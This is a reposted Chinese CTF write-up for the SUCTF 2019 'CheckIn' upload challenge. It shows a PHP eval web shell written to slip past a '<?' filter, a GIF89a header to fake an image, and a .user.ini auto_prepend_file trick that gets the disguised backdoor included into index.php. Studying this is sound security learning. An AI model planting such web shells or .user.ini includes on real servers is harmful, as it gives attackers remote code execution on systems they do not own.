ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

2021-08-30 21:32:46  阅读:267  来源: 互联网

标签:SUCTF 文件 包含 CheckIn -. ini php 上传 user


 

 文件上传,首先上传一张图片马试试

提示<?被过滤,可以用下面代码绕过

<script language="php">eval($_POST{attack});</script>

 

 

 

 

 显示上传成功,和已经上传的文件

下面就是想办法上传有效的后门

根据尝试,大部分后缀例如php3,php4,phtml均被过滤了 

 

这里观察可以发现,在文件上传的目录里有个默认的index.php文件

这里就考虑采用.user.ini


首先先说一下.php.ini文件

该文件可以设置一些php的配置,有些重要必须要在这里面设置

但是有些不怎么重要的可以在 .user.ini设置

其中有一个配置可以利用

auto_prepend_file=1.php
auto_append_file=2.php

这是一个当前目录下的全局文件包含,例如我们想这一个文件里包含1.php

一般会在文件文件开头写上

include './1.php';   //require

但是对于几百个文件想一次性包含同一个文件,就可以用.user.ini

auto_prepend_file=1.php    //是所有文件开头包含1.php
auto_append_file=2.php     //是所有文件尾包含1.php

这样我们可以上传png格式后门,在将他包含到当前目录下所有的php文件中

这也就是虽然我们没法上传php,但是默认给了个空白php文件的原因

 


 

 

 

 首先上传包含后门代码的png,这里注意 <? 被过滤了,因此要或一种写法

另外会检查图片开头判断是不是图片,可以加速GIF89A绕过

 

 再上传.user.ini

 

 注意,这里包含的文件是刚才传入的图片马

 

接下来访问uploads目录下的index.php

 

 发现只打印了图片头,说明成功

 

 

 

标签:SUCTF,文件,包含,CheckIn,-.,ini,php,上传,user
来源: https://www.cnblogs.com/aninock/p/15207942.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有